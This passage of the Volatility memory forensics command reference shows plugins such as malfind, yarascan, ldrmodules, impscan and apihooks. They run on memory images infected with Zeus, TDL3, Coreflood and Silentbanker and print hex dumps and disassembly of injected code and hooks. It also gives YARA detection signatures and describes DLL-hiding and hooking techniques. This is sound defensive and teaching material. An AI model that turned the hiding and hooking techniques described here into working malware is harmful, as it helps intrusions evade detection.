To get the UserAssist keys from a sample you can use the userassist plugin.
For more information see Gleeda's Volatility UserAssist plugin post.

[code]

    $ ./vol.py -f win7.vmem --profile=Win7SP0x86 userassist   
      
    Volatile Systems Volatility Framework 2.0  
      
    ----------------------------  
      
    Registry: \??\C:\Users\admin\ntuser.dat  
      
    Key name: Count  
      
    Last updated: 2010-07-06 22:40:25   
      
      
      
    Subkeys:  
      
      
      
    Values:  
      
    REG_BINARY    Microsoft.Windows.GettingStarted :   
      
    Count:          14  
      
    Focus Count:    21  
      
    Time Focused:   0:07:00.500000  
      
    Last updated:   2010-03-09 19:49:20   
      
      
      
    0000   00 00 00 00 0E 00 00 00 15 00 00 00 A0 68 06 00    .............h..  
      
    0010   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0020   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0030   00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C    ..............{.  
      
    0040   C1 BF CA 01 00 00 00 00                            ........  
      
      
      
    REG_BINARY    UEME_CTLSESSION :   
      
    Count:          187  
      
    Focus Count:    1205  
      
    Time Focused:   6:25:06.216000  
      
    Last updated:   1970-01-01 00:00:00   
      
      
      
    [snip]  
      
      
      
    REG_BINARY    %windir%\system32\calc.exe :   
      
    Count:          12  
      
    Focus Count:    17  
      
    Time Focused:   0:05:40.500000  
      
    Last updated:   2010-03-09 19:49:20   
      
      
      
    0000   00 00 00 00 0C 00 00 00 11 00 00 00 20 30 05 00    ............ 0..  
      
    0010   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0020   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0030   00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C    ..............{.  
      
    0040   C1 BF CA 01 00 00 00 00                            ........  
      
                              ........  
      
      
      
    REG_BINARY    Z:\vmware-share\apps\odbg110\OLLYDBG.EXE :   
      
    Count:          11  
      
    Focus Count:    266  
      
    Time Focused:   1:19:58.045000  
      
    Last updated:   2010-03-18 01:56:31   
      
      
      
    0000   00 00 00 00 0B 00 00 00 0A 01 00 00 69 34 49 00    ............i4I.  
      
    0010   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0020   00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF    ................  
      
    0030   00 00 80 BF 00 00 80 BF FF FF FF FF 70 3B CB 3A    ............p;.:  
      
    0040   3E C6 CA 01 00 00 00 00                            >.......  
      
    [snip]
[/code]

##  shimcache

This plugin parses the Application Compatibility Shim Cache registry key.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 shimcache  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Last Modified: 2009-07-14 01:39:15 , Path: \??\C:\Windows\system32\LogonUI.exe  
      
    Last Modified: 2009-07-14 01:39:46 , Path: \??\C:\Windows\System32\svchost.exe  
      
    Last Modified: 2009-07-14 01:39:50 , Path: \??\C:\Windows\system32\vssvc.exe  
      
    Last Modified: 2009-06-10 20:39:58 , Path: \??\C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe  
      
    Last Modified: 2009-06-10 21:23:09 , Path: \??\C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe  
      
    Last Modified: 2009-06-10 20:39:44 , Path: \??\C:\Windows\WinSxS\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7600.16385_none_ada52b8ba0da82ba\clrgc.exe  
      
    Last Modified: 2009-07-14 01:39:25 , Path: \??\C:\Windows\System32\netsh.exe  
      
    Last Modified: 2009-07-14 01:39:07 , Path: \??\C:\Windows\system32\DrvInst.exe
[/code]

#  Crash Dumps, Hibernation, and Conversion

Volatility supports Microsoft crash dumps and hibernation files in addition to
raw memory dumps. All commands that work on raw dumps also work on crash and
hiber images.

##  crashinfo

Information from the crashdump header can be printed using the crashinfo
command. You will see information like that of the Microsoft dumpcheck
utility.

[code]

    $ python vol.py -f win7_x64.dmp --profile=Win7SP0x64 crashinfo  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    _DMP_HEADER64:  
      
     Majorversion:         0x0000000f (15)  
      
     Minorversion:         0x00001db0 (7600)  
      
     KdSecondaryVersion    0x00000000  
      
     DirectoryTableBase    0x32a44000  
      
     PfnDataBase           0xfffff80002aa8220  
      
     PsLoadedModuleList    0xfffff80002a3de50  
      
     PsActiveProcessHead   0xfffff80002a1fb30  
      
     MachineImageType      0x00008664  
      
     NumberProcessors      0x00000002  
      
     BugCheckCode          0x00000000  
      
     KdDebuggerDataBlock   0xfffff800029e9070  
      
     ProductType           0x00000001  
      
     SuiteMask             0x00000110  
      
     WriterStatus          0x00000000  
      
     Comment               PAGEPAGEPAGEPAGEPAGEPAGE[snip]  
      
      
      
    Physical Memory Description:  
      
    Number of runs: 3  
      
    FileOffset    Start Address    Length  
      
    00002000      00001000         0009e000  
      
    000a0000      00100000         3fde0000  
      
    3fe80000      3ff00000         00100000  
      
    3ff7f000      3ffff000
[/code]

##  hibinfo

The hibinfo command reveals additional information stored in the hibernation
file, including the state of the Control Registers, such as CR0, etc. It also
identifies the time at which the hibernation file was created, the state of
the hibernation file, and the version of windows being hibernated. Example
output for the function is shown below:

[code]

    $ python vol.py -f hiberfil.sys --profile=Win7SP1x64 hibinfo  
      
    IMAGE_HIBER_HEADER:  
      
    Signature: HIBR  
      
    SystemTime: 2011-12-23 16:34:27   
      
      
      
    Control registers flags  
      
    CR0: 80050031  
      
    CR0[PAGING]: 1  
      
    CR3: 00187000  
      
    CR4: 000006f8  
      
    CR4[PSE]: 1  
      
    CR4[PAE]: 1  
      
      
      
    Windows Version is 6.1 (7601)
[/code]

##  imagecopy

The imagecopy command allows one to convert any existing type of address space
\(such as a crashdump, hibernation file, or live firewire session\) to a raw
memory image. This conversion be necessary if some of your other forensic
tools only support reading raw memory dumps.The profile should be specified
for this command, so if you don't know it already, use the
CommandReference21\#imageinfo or CommandReference21\#kdbgscan commands first.
The output file is specified with the -O flag. The progress is updated as the
file is converted:

[code]

    $ python vol.py -f win7_x64.dmp --profile=Win7SP0x64 imagecopy -O copy.raw  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Writing data (5.00 MB chunks): |.......................................|
[/code]

##  raw2dmp

To convert a raw memory dump \(for example from a win32dd acquisition or a
VMware .vmem file\) into a Microsoft crash dump, use the raw2dmp command. This
is useful if you want to load the memory in the WinDbg kernel debugger for
analysis.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 raw2dmp -O copy.dmp  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Writing data (5.00 MB chunks): |..............................................................................|
[/code]

#  Malware and Rootkits

Although all Volatility commands can help you hunt malware in one way or
another, there are a few designed specifically for hunting rootkits and
malicious code. The most comprehensive documentation for these commands can be
found in the Malware Analyst's Cookbook and DVD: Tools and Techniques For
Fighting Malicious Code.

##  malfind

The malfind command helps find hidden or injected code/DLLs in user mode
memory, based on characteristics such as VAD tag and page permissions.Note:
malfind does not detect DLLs injected into a process using
CreateRemoteThread->LoadLibrary. DLLs injected with this technique are not
hidden and thus you can view them with CommandReference21\#dlllist. The
purpose of malfind is to locate DLLs that standard methods/tools do not see.
For more information see  Issue \#178 .Here is an example of using it to
detect the presence of Zeus. The first memory segment \(starting at
0x01600000\) was detected because its executable, marked as private \(not
shared between processes\) and has a VadS tag...which means there is no memory
mapped file already occupying the space. Based on a disassembly of the data
found at this address, it seems to contain some API hook trampoline stubs.The
second memory segment \(starting at 0x015D0000\) was detected because it
contained an executable that isn't listed in the PEB's module lists.If you
want to save extracted copies of the memory segments identified by malfind,
just supply an output directory with -D or --dump-dir=DIR. In this case, an
unpacked copy of the Zeus binary that was injected into explorer.exe would be
written to disk.

[code]

    $ python vol.py -f zeus.vmem malfind -p 1724  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
      
      
    Process: explorer.exe Pid: 1724 Address: 0x1600000  
      
    Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE  
      
    Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6  
      
      
      
    0x01600000  b8 35 00 00 00 e9 cd d7 30 7b b8 91 00 00 00 e9   .5......0{......  
      
    0x01600010  4f df 30 7b 8b ff 55 8b ec e9 ef 17 c1 75 8b ff   O.0{..U......u..  
      
    0x01600020  55 8b ec e9 95 76 bc 75 8b ff 55 8b ec e9 be 53   U....v.u..U....S  
      
    0x01600030  bd 75 8b ff 55 8b ec e9 d6 18 c1 75 8b ff 55 8b   .u..U......u..U.  
      
      
      
    0x1600000 b835000000       MOV EAX, 0x35  
      
    0x1600005 e9cdd7307b       JMP 0x7c90d7d7  
      
    0x160000a b891000000       MOV EAX, 0x91  
      
    0x160000f e94fdf307b       JMP 0x7c90df63  
      
    0x1600014 8bff             MOV EDI, EDI  
      
    0x1600016 55               PUSH EBP  
      
      
      
    Process: explorer.exe Pid: 1724 Address: 0x15d0000  
      
    Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE  
      
    Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6  
      
      
      
    0x015d0000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............  
      
    0x015d0010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......  
      
    0x015d0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
      
    0x015d0030  00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00   ................  
      
      
      
    0x15d0000 4d               DEC EBP  
      
    0x15d0001 5a               POP EDX  
      
    0x15d0002 90               NOP  
      
    0x15d0003 0003             ADD [EBX], AL  
      
    0x15d0005 0000             ADD [EAX], AL  
      
    0x15d0007 000400           ADD [EAX+EAX], AL  
      
    0x15d000a 0000             ADD [EAX], AL
[/code]

##  yarascan

Volatility has several built-in scanning engines to help you find simple
patterns like pool tags in physical or virtual address spaces. However, if you
need to scan for more complex things like regular expressions or compound
rules \(i.e. search for "this" and not "that"\), you can use the yarascan
command. This plugin can help you locate any sequence of bytes \(like assembly
instructions with wild cards\), regular expressions, ANSI strings, or Unicode
strings in user mode or kernel memory.You can create a YARA rules file and
specify it as --yara-file=RULESFILE. Or, if you're just looking for something
simple, and only plan to do the search a few times, then you can specify the
criteria like --yara-rules=RULESTEXT.To search for signatures defined in the
file rules.yar, in any process, and simply display the results on screen:

[code]

    $ python vol.py -f zeus.vmem yarascan --yara-file=/path/to/rules.yar
[/code]

To search for a simple string in any process and dump the memory segments
containing a match:

[code]

    $ python vol.py -f zeus.vmem yarascan -D dump_files --yara-rules="simpleStringToFind"
[/code]

To search for a byte pattern in kernel memory, use the following technique.
This searches through memory in 1MB chunks, in all sessions. The TDL3 malware
applies a hard-patch to SCSI adaptors on disk \(sometimes atapi.sys or
vmscsi.sys\). In particular, it adds some shell code to the .rsrc section of
the file, and then modifies the AddressOfEntryPoint so that it points at the
shell code. This is TDL3's main persistence method. One of the unique
instructions in the shell code is `cmp dword ptr [eax], ‘3LDT’` so I made a
YARA signature from those opcodes:

[code]

    $ python vol.py -f tdl3.vmem yarascan --yara-rules="{8B 00 81 38 54 44 4C 33 75 5A}" -K   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Rule: r1  
      
    Owner: (Unknown Kernel Memory)  
      
    0x8138dcc0  8b 00 81 38 54 44 4c 33 75 5a 8b 45 f4 05 fd 29   ...8TDL3uZ.E...)  
      
    0x8138dcd0  b7 f0 50 b8 08 03 00 00 8b 80 00 00 df ff ff b0   ..P.............  
      
    0x8138dce0  00 01 00 00 b8 08 03 00 00 8b 80 00 00 df ff 8b   ................  
      
    0x8138dcf0  40 04 8b 4d ec 03 41 20 ff d0 ff 75 e0 b8 08 03   @..M..A....u....  
      
    Rule: r1  
      
    Owner: dump_vmscsi.sys  
      
    0xf94bb4c3  8b 00 81 38 54 44 4c 33 75 5a 8b 45 f4 05 fd 29   ...8TDL3uZ.E...)  
      
    0xf94bb4d3  b7 f0 50 b8 08 03 00 00 8b 80 00 00 df ff ff b0   ..P.............  
      
    0xf94bb4e3  00 01 00 00 b8 08 03 00 00 8b 80 00 00 df ff 8b   ................  
      
    0xf94bb4f3  40 04 8b 4d ec 03 41 20 ff d0 ff 75 e0 b8 08 03   @..M..A....u....  
      
    Rule: r1  
      
    Owner: vmscsi.sys  
      
    0xf9dba4c3  8b 00 81 38 54 44 4c 33 75 5a 8b 45 f4 05 fd 29   ...8TDL3uZ.E...)  
      
    0xf9dba4d3  b7 f0 50 b8 08 03 00 00 8b 80 00 00 df ff ff b0   ..P.............  
      
    0xf9dba4e3  00 01 00 00 b8 08 03 00 00 8b 80 00 00 df ff 8b   ................  
      
    0xf9dba4f3  40 04 8b 4d ec 03 41 20 ff d0 ff 75 e0 b8 08 03   @..M..A....u....
[/code]

Search for a given byte pattern in a particular process:

[code]

    $ python vol.py -f zeus.vmem yarascan --yara-rules="{eb 90 ff e4 88 32 0d}" --pid=624
[/code]

Search for a regular expression in a particular process:

[code]

    $ python vol.py -f zeus.vmem yarascan --yara-rules="/my(regular|expression{0,2})/" --pid=624
[/code]

##  svcscan

Volatility is the only memory forensics framework with the ability to list
services without using the Windows API on a live machine. To see which
services are registered on your memory image, use the svcscan command. The
output shows the process ID of each service \(if its active and pertains to a
usermode process\), the service name, service display name, service type, and
current status. It also shows the binary path for the registered service -
which will be an EXE for usermode services and a driver name for services that
run from kernel mode.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 svcscan  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Offset: 0xa26e70  
      
    Order: 71  
      
    Process ID: 1104  
      
    Service Name: DPS  
      
    Display Name: Diagnostic Policy Service  
      
    Service Type: SERVICE_WIN32_SHARE_PROCESS  
      
    Service State: SERVICE_RUNNING  
      
    Binary Path: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork  
      
      
      
    Offset: 0xa25620  
      
    Order: 70  
      
    Process ID: -  
      
    Service Name: dot3svc  
      
    Display Name: Wired AutoConfig  
      
    Service Type: SERVICE_WIN32_SHARE_PROCESS  
      
    Service State: SERVICE_STOPPED  
      
    Binary Path: -  
      
      
      
    Offset: 0xa25440  
      
    Order: 68  
      
    Process ID: -  
      
    Service Name: Disk  
      
    Display Name: Disk Driver  
      
    Service Type: SERVICE_KERNEL_DRIVER  
      
    Service State: SERVICE_RUNNING  
      
    Binary Path: \Driver\Disk  
      
      
      
    [snip]
[/code]

##  ldrmodules

There are many ways to hide a DLL. One of the ways involves unlinking the DLL
from one \(or all\) of the linked lists in the PEB. However, when this is
done, there is still information contained within the VAD \(Virtual Address
Descriptor\) which identifies the base address of the DLL and its full path on
disk. To cross-reference this information \(known as memory mapped files\)
with the 3 PEB lists, use the ldrmodules command.For each memory mapped PE
file, the ldrmodules command prints True or False if the PE exists in the PEB
lists.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 ldrmodules  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Pid      Process              Base               InLoad InInit InMem MappedPath  
      
    -------- -------------------- ------------------ ------ ------ ----- ----------  
      
         208 smss.exe             0x0000000047a90000 True   False  True  \Windows\System32\smss.exe  
      
         296 csrss.exe            0x0000000049700000 True   False  True  \Windows\System32\csrss.exe  
      
         344 csrss.exe            0x0000000000390000 False  False  False \Windows\Fonts\vgasys.fon  
      
         344 csrss.exe            0x00000000007a0000 False  False  False \Windows\Fonts\vgaoem.fon  
      
         344 csrss.exe            0x00000000020e0000 False  False  False \Windows\Fonts\ega40woa.fon  
      
         344 csrss.exe            0x0000000000a60000 False  False  False \Windows\Fonts\dosapp.fon  
      
         344 csrss.exe            0x0000000000a70000 False  False  False \Windows\Fonts\cga40woa.fon  
      
         344 csrss.exe            0x00000000020d0000 False  False  False \Windows\Fonts\cga80woa.fon  
      
         428 services.exe         0x0000000000020000 False  False  False \Windows\System32\en-US\services.exe.mui  
      
         428 services.exe         0x00000000ff670000 True   False  True  \Windows\System32\services.exe  
      
         444 lsass.exe            0x0000000000180000 False  False  False \Windows\System32\en-US\crypt32.dll.mui  
      
         444 lsass.exe            0x0000000076b20000 True   True   True  \Windows\System32\kernel32.dll  
      
         444 lsass.exe            0x0000000076c40000 True   True   True  \Windows\System32\user32.dll  
      
         444 lsass.exe            0x0000000074a70000 True   True   True  \Windows\System32\msprivs.dll  
      
         444 lsass.exe            0x0000000076d40000 True   True   True  \Windows\System32\ntdll.dll  
      
         568 svchost.exe          0x00000000001e0000 False  False  False \Windows\System32\en-US\umpnpmgr.dll.mui  
      
    [snip]
[/code]

Since the PEB and the DLL lists that it contains all exist in user mode, its
also possible for malware to hide \(or obscure\) a DLL by simply overwriting
the path. Tools that only look for unlinked entries may miss the fact that
malware could overwrite C:\bad.dll to show C:\windows\system32\kernel32.dll.
So you can also pass -v or --verbose to ldrmodules to see the full path of all
entries.For concrete examples, see ZeroAccess Misleads Memory-File Link and
QuickPost: Flame & Volatility.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 ldrmodules -v  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    Pid      Process              Base               InLoad InInit InMem MappedPath  
      
    -------- -------------------- ------------------ ------ ------ ----- ----------  
      
         208 smss.exe             0x0000000047a90000 True   False  True  \Windows\System32\smss.exe  
      
      Load Path: \SystemRoot\System32\smss.exe : smss.exe  
      
      Mem Path:  \SystemRoot\System32\smss.exe : smss.exe  
      
         296 csrss.exe            0x0000000049700000 True   False  True  \Windows\System32\csrss.exe  
      
      Load Path: C:\Windows\system32\csrss.exe : csrss.exe  
      
      Mem Path:  C:\Windows\system32\csrss.exe : csrss.exe  
      
         344 csrss.exe            0x0000000000390000 False  False  False \Windows\Fonts\vgasys.fon  
      
         344 csrss.exe            0x00000000007a0000 False  False  False \Windows\Fonts\vgaoem.fon  
      
         344 csrss.exe            0x00000000020e0000 False  False  False \Windows\Fonts\ega40woa.fon  
      
         344 csrss.exe            0x0000000000a60000 False  False  False \Windows\Fonts\dosapp.fon  
      
         344 csrss.exe            0x0000000000a70000 False  False  False \Windows\Fonts\cga40woa.fon  
      
         344 csrss.exe            0x00000000020d0000 False  False  False \Windows\Fonts\cga80woa.fon  
      
         428 services.exe         0x0000000000020000 False  False  False \Windows\System32\en-US\services.exe.mui  
      
         428 services.exe         0x00000000ff670000 True   False  True  \Windows\System32\services.exe  
      
      Load Path: C:\Windows\system32\services.exe : services.exe  
      
      Mem Path:  C:\Windows\system32\services.exe : services.exe  
      
         444 lsass.exe            0x0000000000180000 False  False  False \Windows\System32\en-US\crypt32.dll.mui  
      
         444 lsass.exe            0x0000000076b20000 True   True   True  \Windows\System32\kernel32.dll  
      
      Load Path: C:\Windows\system32\kernel32.dll : kernel32.dll  
      
      Init Path: C:\Windows\system32\kernel32.dll : kernel32.dll  
      
      Mem Path:  C:\Windows\system32\kernel32.dll : kernel32.dll  
      
    [snip]
[/code]

##  impscan

In order to fully reverse engineer code that you find in memory dumps, its
necessary to see which functions the code imports. In other words, which API
functions it calls. When you dump binaries with CommandReference21\#dlldump,
CommandReference21\#moddump, or CommandReference21\#procexedump, the IAT
\(Import Address Table\) may not properly be reconstructed due to the high
likelihood that one or more pages in the PE header or IAT are not memory
resident \(paged\). Thus, we created impscan. Impscan identifies calls to APIs
without parsing a PE's IAT. It even works if malware completely erases the PE
header, and it works on kernel drivers.Previous versions of impscan
automatically created a labeled IDB for use with IDA Pro. This functionality
has temporarily been disabled, but will return sometime in the future when
other similar functionality is introduced.Take Coreflood for example. This
malware deleted its PE header once it loaded in the target process \(by
calling VirtualFree on the injected DLL's ImageBase\). You can use
CommandReference21\#malfind to detect the presence of Coreflood based on the
typical criteria \(page permissions, VAD tags, etc\). Notice how the PE's base
address doesn't contain the usual 'MZ' header:

[code]

    $ python vol.py -f coreflood.vmem -p 2044 malfind  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
      
      
    Process: IEXPLORE.EXE Pid: 2044 Address: 0x7ff80000  
      
    Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE  
      
    Flags: CommitCharge: 45, PrivateMemory: 1, Protection: 6  
      
      
      
    0x7ff80000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
      
    0x7ff80010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
      
    0x7ff80020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
      
    0x7ff80030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................  
      
      
      
    0x7ff80000 0000             ADD [EAX], AL  
      
    0x7ff80002 0000             ADD [EAX], AL  
      
    0x7ff80004 0000             ADD [EAX], AL  
      
    0x7ff80006 0000             ADD [EAX], AL
[/code]

Let's assume you want to extract the unpacked copy of Coreflood and see its
imported APIs. Use impscan by specifying the base address provided to you by
malfind. In this case, we fixup the base address by 0x1000 to account for the
missing page at the real ImageBase.

[code]

    $ python vol.py -f coreflood.vmem -p 2044 impscan -b 0x7ff81000  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    IAT        Call       Module               Function  
      
    ---------- ---------- -------------------- --------  
      
    0x7ff9e000 0x77dd77b3 ADVAPI32.dll         SetSecurityDescriptorDacl  
      
    0x7ff9e004 0x77dfd4c9 ADVAPI32.dll         GetUserNameA  
      
    0x7ff9e008 0x77dd6bf0 ADVAPI32.dll         RegCloseKey  
      
    0x7ff9e00c 0x77ddeaf4 ADVAPI32.dll         RegCreateKeyExA  
      
    0x7ff9e010 0x77dfc123 ADVAPI32.dll         RegDeleteKeyA  
      
    0x7ff9e014 0x77ddede5 ADVAPI32.dll         RegDeleteValueA  
      
    0x7ff9e018 0x77ddd966 ADVAPI32.dll         RegNotifyChangeKeyValue  
      
    0x7ff9e01c 0x77dd761b ADVAPI32.dll         RegOpenKeyExA  
      
    0x7ff9e020 0x77dd7883 ADVAPI32.dll         RegQueryValueExA  
      
    0x7ff9e024 0x77ddebe7 ADVAPI32.dll         RegSetValueExA  
      
    0x7ff9e028 0x77dfc534 ADVAPI32.dll         AdjustTokenPrivileges  
      
    0x7ff9e02c 0x77e34c3f ADVAPI32.dll         InitiateSystemShutdownA  
      
    0x7ff9e030 0x77dfd11b ADVAPI32.dll         LookupPrivilegeValueA  
      
    0x7ff9e034 0x77dd7753 ADVAPI32.dll         OpenProcessToken  
      
    0x7ff9e038 0x77dfc8c1 ADVAPI32.dll         RegEnumKeyExA  
      
    [snip]
[/code]

If you don't specify a base address with -b or --base, then you'll end up
scanning the process's main module \(i.e. IEXPLORE.EXE since that's -p 2044\)
for imported functions. You can also specify the base address of a kernel
driver to scan the driver for imported kernel-mode functions.Laqma loads a
kernel driver named lanmandrv.sys. If you extract it with
CommandReference21\#moddump, the IAT will be corrupt. So use impscan to
rebuild it:

[code]

    $ python vol.py -f laqma.vmem impscan -b 0xfca29000  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    IAT        Call       Module               Function  
      
    ---------- ---------- -------------------- --------  
      
    0xfca2a080 0x804ede90 ntoskrnl.exe         IofCompleteRequest  
      
    0xfca2a084 0x804f058c ntoskrnl.exe         IoDeleteDevice  
      
    0xfca2a088 0x80568140 ntoskrnl.exe         IoDeleteSymbolicLink  
      
    0xfca2a08c 0x80567dcc ntoskrnl.exe         IoCreateSymbolicLink  
      
    0xfca2a090 0x805a2130 ntoskrnl.exe         MmGetSystemRoutineAddress  
      
    0xfca2a094 0x805699e0 ntoskrnl.exe         IoCreateDevice  
      
    0xfca2a098 0x80544080 ntoskrnl.exe         ExAllocatePoolWithTag  
      
    0xfca2a09c 0x80536dc3 ntoskrnl.exe         wcscmp  
      
    0xfca2a0a0 0x804fdbc0 ntoskrnl.exe         ZwOpenKey  
      
    0xfca2a0a4 0x80535010 ntoskrnl.exe         _except_handler3  
      
    0xfca2a3ac 0x8056df44 ntoskrnl.exe         NtQueryDirectoryFile  
      
    0xfca2a3b4 0x8060633e ntoskrnl.exe         NtQuerySystemInformation  
      
    0xfca2a3bc 0x805bfb78 ntoskrnl.exe         NtOpenProcess
[/code]

The next example shows impscan on an x64 driver and using the render\_idc
output format. This gives you an IDC file you can import into IDA Pro to apply
labels to the function calls.

[code]

    $ python vol.py -f ~/Desktop/win7_trial_64bit.raw --profile=Win7SP0x64 impscan -b 0xfffff88003980000 --output=idc --output-file=imps.idc  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
      
      
    $ cat imps.idc   
      
    #include <idc.idc>  
      
    static main(void) {  
      
       MakeDword(0xFFFFF8800398A000);  
      
       MakeName(0xFFFFF8800398A000, "KeSetEvent");  
      
       MakeDword(0xFFFFF8800398A008);  
      
       MakeName(0xFFFFF8800398A008, "PsTerminateSystemThread");  
      
       MakeDword(0xFFFFF8800398A010);  
      
       MakeName(0xFFFFF8800398A010, "KeInitializeEvent");  
      
       MakeDword(0xFFFFF8800398A018);  
      
       MakeName(0xFFFFF8800398A018, "PsCreateSystemThread");  
      
       MakeDword(0xFFFFF8800398A020);  
      
       MakeName(0xFFFFF8800398A020, "KeWaitForSingleObject");  
      
       MakeDword(0xFFFFF8800398A028);  
      
       MakeName(0xFFFFF8800398A028, "ZwClose");  
      
       MakeDword(0xFFFFF8800398A030);  
      
       MakeName(0xFFFFF8800398A030, "RtlInitUnicodeString");  
      
    [snip]  
      
       MakeDword(0xFFFFF8800398A220);  
      
       MakeName(0xFFFFF8800398A220, "RtlAnsiCharToUnicodeChar");  
      
       MakeDword(0xFFFFF8800398A228);  
      
       MakeName(0xFFFFF8800398A228, "__C_specific_handler");  
      
    Exit(0);}
[/code]

##  apihooks

To find API hooks in user mode or kernel mode, use the apihooks plugin. This
finds IAT, EAT, Inline style hooks, and several special types of hooks. For
Inline hooks, it detects CALLs and JMPs to direct and indirect locations, and
it detects PUSH/RET instruction sequences. The special types of hooks that it
detects include syscall hooking in ntdll.dll and calls to unknown code pages
in kernel memory.As of Volatility 2.1, apihooks also detects hooked winsock
procedure tables, includes an easier to read output format, supports multiple
hop disassembly, and can optionally scan quicker through memory by ignoring
non-critical processes and DLLs.Here is an example of detecting IAT hooks
installed by Coreflood. The hooking module is unknown because there is no
module \(DLL\) associated with the memory in which the rootkit code exists. If
you want to extract the code containing the hooks, you have a few options:1\.
See if CommandReference21\#malfind can automatically find and extract it.2\.
Use CommandReference21\#volshell dd/db commands to scan backwards and look for
an MZ header. Then pass that address to CommandReference\#dlldump as the
--base value.3\. Use CommandReference21\#vaddump to extract all code segments
to individual files \(named according to start and end address\), then find
the file that contains the 0x7ff82 ranges.

[code]

    $ python vol.py -f coreflood.vmem -p 2044 apihooks   
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Hook mode: Usermode  
      
    Hook type: Import Address Table (IAT)  
      
    Process: 2044 (IEXPLORE.EXE)  
      
    Victim module: iexplore.exe (0x400000 - 0x419000)  
      
    Function: kernel32.dll!GetProcAddress at 0x7ff82360  
      
    Hook address: 0x7ff82360  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0x7ff82360 e8fbf5ffff       CALL 0x7ff81960  
      
    0x7ff82365 84c0             TEST AL, AL  
      
    0x7ff82367 740b             JZ 0x7ff82374  
      
    0x7ff82369 8b150054fa7f     MOV EDX, [0x7ffa5400]  
      
    0x7ff8236f 8b4250           MOV EAX, [EDX+0x50]  
      
    0x7ff82372 ffe0             JMP EAX  
      
    0x7ff82374 8b4c2408         MOV ECX, [ESP+0x8]  
      
      
      
    ************************************************************************  
      
    Hook mode: Usermode  
      
    Hook type: Import Address Table (IAT)  
      
    Process: 2044 (IEXPLORE.EXE)  
      
    Victim module: iexplore.exe (0x400000 - 0x419000)  
      
    Function: kernel32.dll!LoadLibraryA at 0x7ff82a50  
      
    Hook address: 0x7ff82a50  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0x7ff82a50 51               PUSH ECX  
      
    0x7ff82a51 e80aefffff       CALL 0x7ff81960  
      
    0x7ff82a56 84c0             TEST AL, AL  
      
    0x7ff82a58 7414             JZ 0x7ff82a6e  
      
    0x7ff82a5a 8b442408         MOV EAX, [ESP+0x8]  
      
    0x7ff82a5e 8b0d0054fa7f     MOV ECX, [0x7ffa5400]  
      
    0x7ff82a64 8b512c           MOV EDX, [ECX+0x2c]  
      
    0x7ff82a67 50               PUSH EAX  
      
      
      
    [snip]
[/code]

Here is an example of detecting the Inline hooks installed by Silentbanker.
Note the multiple hop disassembly which is new in 2.1. It shows the first hop
of the hook at 0x7c81caa2 jumps to 0xe50000. Then you also see a disassembly
of the code at 0xe50000 which executes the rest of the trampoline.

[code]

    $ python vol.py -f silentbanker.vmem -p 1884 apihooks  
      
    Volatile Systems Volatility Framework 2.1_alpha  
      
    ************************************************************************  
      
    Hook mode: Usermode  
      
    Hook type: Inline/Trampoline  
      
    Process: 1884 (IEXPLORE.EXE)  
      
    Victim module: kernel32.dll (0x7c800000 - 0x7c8f4000)  
      
    Function: kernel32.dll!ExitProcess at 0x7c81caa2  
      
    Hook address: 0xe50000  
      
    Hooking module: <unknown>  
      
      
      
    Disassembly(0):  
      
    0x7c81caa2 e959356384       JMP 0xe50000  
      
    0x7c81caa7 6aff             PUSH -0x1  
      
    0x7c81caa9 68b0f3e877       PUSH DWORD 0x77e8f3b0  
      
    0x7c81caae ff7508           PUSH DWORD [EBP+0x8]  
      
    0x7c81cab1 e846ffffff       CALL 0x7c81c9fc  
      
      
      
    Disassembly(1):  
